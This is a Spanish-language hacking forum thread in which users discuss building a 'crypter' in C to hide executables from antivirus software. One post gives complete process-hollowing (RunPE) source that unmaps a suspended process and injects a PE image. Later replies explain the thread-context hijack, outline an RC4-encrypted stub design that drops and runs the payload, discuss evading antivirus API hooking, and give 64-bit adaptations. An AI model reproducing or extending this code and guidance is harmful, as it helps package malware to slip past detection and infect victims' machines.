Hola a todos!
ALguien me podria decir los pasos a seguir para crear un crypter en C?
Facil y sencillo
Si sabes C lo entenderas sin problemas. Es de un crypter publico bastante famoso, si tienes dudas ya sabes comentarlas.
Código: Seleccionar todo
VOID InjectPE(LPSTR szProcessName, LPBYTE lpBuffer)
{
STARTUPINFO si;
PROCESS_INFORMATION pi;
CONTEXT ctx;
memset(&si, 0, sizeof(si));
si.cb = sizeof(STARTUPINFO);
ctx.ContextFlags = CONTEXT_FULL;
pidh = (PIMAGE_DOS_HEADER)&lpBuffer[0];
if(pidh->e_magic != IMAGE_DOS_SIGNATURE)
{
return;
}
pinh = (PIMAGE_NT_HEADERS)&lpBuffer[pidh->e_lfanew];
if(pinh->Signature != IMAGE_NT_SIGNATURE)
{
return;
}
_CreateProcess __CreateProcess = NULL;
__CreateProcess = (_CreateProcess)GetProcAddress(GetModuleHandle("kernel32.dll"), "CreateProcessA");
_NtUnmapViewOfSection __NtUnmapViewOfSection = NULL;
__NtUnmapViewOfSection = (_NtUnmapViewOfSection)GetProcAddress(GetModuleHandle("ntdll.dll"), "NtUnmapViewOfSection");
_VirtualAllocEx __VirtualAllocEx = NULL;
__VirtualAllocEx = (_VirtualAllocEx)GetProcAddress(GetModuleHandle("kernel32.dll"), "VirtualAllocEx");
_WriteProcessMemory __WriteProcessMemory = NULL;
__WriteProcessMemory = (_WriteProcessMemory)GetProcAddress(GetModuleHandle("kernel32.dll"), "WriteProcessMemory");
_GetThreadContext __GetThreadContext = NULL;
__GetThreadContext = (_GetThreadContext)GetProcAddress(GetModuleHandle("kernel32.dll"), "GetThreadContext");
_SetThreadContext __SetThreadContext = NULL;
__SetThreadContext = (_SetThreadContext)GetProcAddress(GetModuleHandle("kernel32.dll"), "SetThreadContext");
_ResumeThread __ResumeThread = NULL;
__ResumeThread = (_ResumeThread)GetProcAddress(GetModuleHandle("kernel32.dll"), "ResumeThread");
__CreateProcess(NULL, szProcessName, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi);
__NtUnmapViewOfSection(pi.hProcess, (PVOID)pinh->OptionalHeader.ImageBase);
__VirtualAllocEx(pi.hProcess, (LPVOID)pinh->OptionalHeader.ImageBase, pinh->OptionalHeader.SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
__WriteProcessMemory(pi.hProcess, (LPVOID)pinh->OptionalHeader.ImageBase, &lpBuffer[0], pinh->OptionalHeader.SizeOfHeaders, NULL);
for(INT i = 0; i < pinh->FileHeader.NumberOfSections; i++)
{
pish = (PIMAGE_SECTION_HEADER)&lpBuffer[pidh->e_lfanew + sizeof(IMAGE_NT_HEADERS) + sizeof(IMAGE_SECTION_HEADER) * i];
__WriteProcessMemory(pi.hProcess, (LPVOID)(pinh->OptionalHeader.ImageBase + pish->VirtualAddress), &lpBuffer[pish->PointerToRawData], pish->SizeOfRawData, NULL);
}
__GetThreadContext(pi.hThread, &ctx);
ctx.Eax = pinh->OptionalHeader.ImageBase + pinh->OptionalHeader.AddressOfEntryPoint;
__SetThreadContext(pi.hThread, &ctx);
__ResumeThread(pi.hThread);
}
Veo que es algo mecánico para "muchos", supongo cuanto les importa entender el funcionamiento de las cosas :)
@dofo:
Lo que "posteaste" es únicamente lo que lanza la ejecución de un archivo desde "memoria"
Saludos.
@dofo:
Lo que "posteaste" es únicamente lo que lanza la ejecución de un archivo desde "memoria"
Saludos.
En tu ventana
Y en tu ventana, gritas al cielo pero lo dices callada..
Y en tu ventana, gritas al cielo pero lo dices callada..
O sea, un RunPE en C (?)The Swash escribió:Veo que es algo mecánico para "muchos", supongo cuanto les importa entender el funcionamiento de las cosas :)
@dofo:
Lo que "posteaste" es únicamente lo que lanza la ejecución de un archivo desde "memoria"
Saludos.
Pues la verdad hay un par de puntos que no entiendo...
Primero... que beneficios aporta realizar la vinculación de las librerías en tiempo de ejecución.
Y segundo, me pierdo en el uso de la estructura CONTEXT / GetThreadContext / SetThreadContext. Por lo que he visto en el MSDN, se trata del estado del procesador (registros y demás), que imagino lo está utilizando para realizar alguna operación interna... pero no se cual. Si alguien puede explicarme este pedazo de código se lo agradecería:Acabo de empezar con ASM (veo que utiliza registros del procesador) y no entiendo muy bien la intención de esas lineas (algún tipo de "SALTO"? ya que está utilizando el AddressOfEntryPoint + ImageBase).
Un saludo!
Primero... que beneficios aporta realizar la vinculación de las librerías en tiempo de ejecución.
Y segundo, me pierdo en el uso de la estructura CONTEXT / GetThreadContext / SetThreadContext. Por lo que he visto en el MSDN, se trata del estado del procesador (registros y demás), que imagino lo está utilizando para realizar alguna operación interna... pero no se cual. Si alguien puede explicarme este pedazo de código se lo agradecería:
Código: Seleccionar todo
__GetThreadContext(pi.hThread, &ctx);
ctx.Eax = pinh->OptionalHeader.ImageBase + pinh->OptionalHeader.AddressOfEntryPoint;
__SetThreadContext(pi.hThread, &ctx);
__ResumeThread(pi.hThread);
Un saludo!
[ Lo importante no es el final, sino el camino recorrido ]
Lo que hace GetThreadContext es obtener los registros del PCB (Process Control Block, una estructura que ayuda a darle el control del procesador por un cierto tiempo al proceso, en este caso thread) a esa variable que contiene los registros se le asigna a el registro EAX, el AddressofEntryPoint, posteriormente se actualizan los registros con SetThreadContext para que al resumir el proceso la instrucción a ejecutar sea el AEP y el thread comience correr y no se crashe.s7evin escribió:Pues la verdad hay un par de puntos que no entiendo...
Primero... que beneficios aporta realizar la vinculación de las librerías en tiempo de ejecución.
Y segundo, me pierdo en el uso de la estructura CONTEXT / GetThreadContext / SetThreadContext. Por lo que he visto en el MSDN, se trata del estado del procesador (registros y demás), que imagino lo está utilizando para realizar alguna operación interna... pero no se cual. Si alguien puede explicarme este pedazo de código se lo agradecería:Acabo de empezar con ASM (veo que utiliza registros del procesador) y no entiendo muy bien la intención de esas lineas (algún tipo de "SALTO"? ya que está utilizando el AddressOfEntryPoint + ImageBase).Código: Seleccionar todo
__GetThreadContext(pi.hThread, &ctx); ctx.Eax = pinh->OptionalHeader.ImageBase + pinh->OptionalHeader.AddressOfEntryPoint; __SetThreadContext(pi.hThread, &ctx); __ResumeThread(pi.hThread);
Un saludo!
Se puede tomar el control de los procesos con esas APIs y el proceso afectado ni cuenta se da
Saludos!
We do what we must, because, we can-> [www.youtube.com/watch?v=Y6ljFaKRTrI]
Pasa a saludar: NeoDark-Labs.BlogSpot.mx
<<<<Proyectos en curso>>>>
[+]Restauración de SSDT
[+]Driver v3 - Ocultar drivers
[+]Anti-rootkit
Pasa a saludar: NeoDark-Labs.BlogSpot.mx
<<<<Proyectos en curso>>>>
[+]Restauración de SSDT
[+]Driver v3 - Ocultar drivers
[+]Anti-rootkit
orlando (como me gustaría ganarme el derecho a llevar ese color en mi nick :] ) gracias por responder :)
Más o menos entendí la explicación jeje aunque como ya dije, ando cojo por el lado del ASM (joder, mira que es complicado... y prácticamente todos los sources vienen sin comentarios! >_<). Pero bueno, poquito a poquito.
Por otro lado aunque se pueda "secuestrar" un proceso... imagino que el AV detectará la llamada a esas APIs, no? Si no me equivoco, los AV de hoy en día utilizan el API Hooking... cuando aprendo algo ya está obsoleto jeje y por cada "app" que quiero desarrollar me encuentro con complicaciones, es desesperante xD
Enfin tocará ir aprendiendo todos estos temas, porque de eso se trata no? no dejar de aprender nunca... pero es que mira que hay poca documentación "entendible" sobre estos temas "prohibidos".
Saludos!
Más o menos entendí la explicación jeje aunque como ya dije, ando cojo por el lado del ASM (joder, mira que es complicado... y prácticamente todos los sources vienen sin comentarios! >_<). Pero bueno, poquito a poquito.
Por otro lado aunque se pueda "secuestrar" un proceso... imagino que el AV detectará la llamada a esas APIs, no? Si no me equivoco, los AV de hoy en día utilizan el API Hooking... cuando aprendo algo ya está obsoleto jeje y por cada "app" que quiero desarrollar me encuentro con complicaciones, es desesperante xD
Enfin tocará ir aprendiendo todos estos temas, porque de eso se trata no? no dejar de aprender nunca... pero es que mira que hay poca documentación "entendible" sobre estos temas "prohibidos".
Saludos!
[ Lo importante no es el final, sino el camino recorrido ]
Tu solo busca aprender y compartir y ese será tu derecho ;)
En ASM ando verde solo se los registros xD pero en la MSDN te explica muy bien las APIs, por el foro anda un tutorial de FASM, creo.
No lo he probado bajo protección de AV sería cuestión de buscar APIs nativas o intentar de otro modo como inyección de shellcode.
Eso es lo que hace grande a un programador, aquel que innova algo viejo.
Saludos!
En ASM ando verde solo se los registros xD pero en la MSDN te explica muy bien las APIs, por el foro anda un tutorial de FASM, creo.
No lo he probado bajo protección de AV sería cuestión de buscar APIs nativas o intentar de otro modo como inyección de shellcode.
Eso es lo que hace grande a un programador, aquel que innova algo viejo.
Saludos!
We do what we must, because, we can-> [www.youtube.com/watch?v=Y6ljFaKRTrI]
Pasa a saludar: NeoDark-Labs.BlogSpot.mx
<<<<Proyectos en curso>>>>
[+]Restauración de SSDT
[+]Driver v3 - Ocultar drivers
[+]Anti-rootkit
Pasa a saludar: NeoDark-Labs.BlogSpot.mx
<<<<Proyectos en curso>>>>
[+]Restauración de SSDT
[+]Driver v3 - Ocultar drivers
[+]Anti-rootkit
injectpe, injecta el ejecutable en memoria y fue sacado del crypter de tughack y creo que no es lo que pide el usuario.
el encriptador consiste de dos partes el ENCRIPTADOR y el STUB, el STUB lo podriamos nombrar como el "desencriptador" y como funciona ?? , muy facil, se crea el encriptador utilizando un algoritmo de encriptación reversible
es muy comun ver encriptadores utilizando el algoritmo RC4, que utiliza una llave publica para desencriptar
el archivo, luego de tener conciencia del algoritmo a utilizar, se abre el archivo en MODO BINARIO para no perder
datos( fopen() ), se comienza a leer el archivo ( fread() ), y mientras se lee este se guarda en una cadena de texto, una
vez leido el archivo completamente, se pasa por el algoritmo de encriptacion, luego se abre el STUB en modo APPEND
y se guarda la clave utilizada y el archivo en criptado, separados por una cadena para diferencia la clave y el archivo.
y el STUB ??, el stub se programa practicamente de igual manera, pero realizando la tarea inversa, el STUB se abre asi mismo( argv[0] ), se situa en la parte donde se guardaron los datos y se comienzar a leer ( fopen(),fseek(),fread() ) ,
se guardan los datos en un cadena, se desencripta el archivo y se crea un nuevo archivo con los datos desencriptados y luego se ejecuta( system() ).
esos son los pasos a seguir a muy groso modo ya que hay algunas cosas que no especifique, esto seria un
encriptador scantime, pero a mi parecer creo que deberias comenzar por ahi, antes de meterte a injectar codigo
que no tienes idea como y tampoco donde se injecta, y tambien antes de enterarte que no se injecta en ningun proceso sino que se crea un nuevo proceso xD, .
concuerdo plenamente con "The Swash", aun recuerdo el boom de los crypter en VB6, apenas salio un video tutorial de
como crear un encriptador en VB6 a la semana, la mayoria de los usuarios comenzaron a hacer sus encriptadores, adjudicandose creditos cuando ni siquiera sabian como funcionaba el modulo de cobein(R.I.P).
el encriptador consiste de dos partes el ENCRIPTADOR y el STUB, el STUB lo podriamos nombrar como el "desencriptador" y como funciona ?? , muy facil, se crea el encriptador utilizando un algoritmo de encriptación reversible
es muy comun ver encriptadores utilizando el algoritmo RC4, que utiliza una llave publica para desencriptar
el archivo, luego de tener conciencia del algoritmo a utilizar, se abre el archivo en MODO BINARIO para no perder
datos( fopen() ), se comienza a leer el archivo ( fread() ), y mientras se lee este se guarda en una cadena de texto, una
vez leido el archivo completamente, se pasa por el algoritmo de encriptacion, luego se abre el STUB en modo APPEND
y se guarda la clave utilizada y el archivo en criptado, separados por una cadena para diferencia la clave y el archivo.
y el STUB ??, el stub se programa practicamente de igual manera, pero realizando la tarea inversa, el STUB se abre asi mismo( argv[0] ), se situa en la parte donde se guardaron los datos y se comienzar a leer ( fopen(),fseek(),fread() ) ,
se guardan los datos en un cadena, se desencripta el archivo y se crea un nuevo archivo con los datos desencriptados y luego se ejecuta( system() ).
esos son los pasos a seguir a muy groso modo ya que hay algunas cosas que no especifique, esto seria un
encriptador scantime, pero a mi parecer creo que deberias comenzar por ahi, antes de meterte a injectar codigo
que no tienes idea como y tampoco donde se injecta, y tambien antes de enterarte que no se injecta en ningun proceso sino que se crea un nuevo proceso xD, .
concuerdo plenamente con "The Swash", aun recuerdo el boom de los crypter en VB6, apenas salio un video tutorial de
como crear un encriptador en VB6 a la semana, la mayoria de los usuarios comenzaron a hacer sus encriptadores, adjudicandose creditos cuando ni siquiera sabian como funcionaba el modulo de cobein(R.I.P).
El proceso que tu describes, en efecto es un ScanTime; pero el del código adjunto, lo está inyectando en memoria (como tu bien has dicho), por tanto, no sería un RunTime?ameise_1987 escribió:esos son los pasos a seguir a muy groso modo ya que hay algunas cosas que no especifique, esto seria un
encriptador scantime, pero a mi parecer creo que deberias comenzar por ahi, antes de meterte a injectar codigo
que no tienes idea como y tampoco donde se injecta, y tambien antes de enterarte que no se injecta en ningun proceso sino que se crea un nuevo proceso xD, .
Yo todavía sigo liado con este tema, avanzando eso sí, y con archivos relativamente grandes (> 100Kb) me queda inutilizable el ejecutable final. Debo seguir practicando con la estructura PE y sobretodo los RVA.
Un saludo!
[ Lo importante no es el final, sino el camino recorrido ]
Si desean compilar en 64 bits surge un error en ctx.Eax = pinh->OptionalHeader.ImageBase + pinh->OptionalHeader.AddressOfEntryPoint;
al parecer no es soportado ctx.Eax. en 64 bits solo 32
al parecer no es soportado ctx.Eax. en 64 bits solo 32
Por ser APIs que piden información directamente al kernel del sistema, en 64bits se cambia su llamado por:adwind escribió:Si desean compilar en 64 bits surge un error en ctx.Eax = pinh->OptionalHeader.ImageBase + pinh->OptionalHeader.AddressOfEntryPoint;
al parecer no es soportado ctx.Eax. en 64 bits solo 32
[*]Wow64GetThreadContext
[*]Wow64SetThreadContext
[*]WOW64_CONTEXT
Los registros son los mismos pero tienen algunos punteros de diferencia.
Saludos!
We do what we must, because, we can-> [www.youtube.com/watch?v=Y6ljFaKRTrI]
Pasa a saludar: NeoDark-Labs.BlogSpot.mx
<<<<Proyectos en curso>>>>
[+]Restauración de SSDT
[+]Driver v3 - Ocultar drivers
[+]Anti-rootkit
Pasa a saludar: NeoDark-Labs.BlogSpot.mx
<<<<Proyectos en curso>>>>
[+]Restauración de SSDT
[+]Driver v3 - Ocultar drivers
[+]Anti-rootkit
O: GRACIASorlando9427 escribió:Por ser APIs que piden información directamente al kernel del sistema, en 64bits se cambia su llamado por:adwind escribió:Si desean compilar en 64 bits surge un error en ctx.Eax = pinh->OptionalHeader.ImageBase + pinh->OptionalHeader.AddressOfEntryPoint;
al parecer no es soportado ctx.Eax. en 64 bits solo 32
[*]Wow64GetThreadContext
[*]Wow64SetThreadContext
[*]WOW64_CONTEXT
Los registros son los mismos pero tienen algunos punteros de diferencia.
Saludos!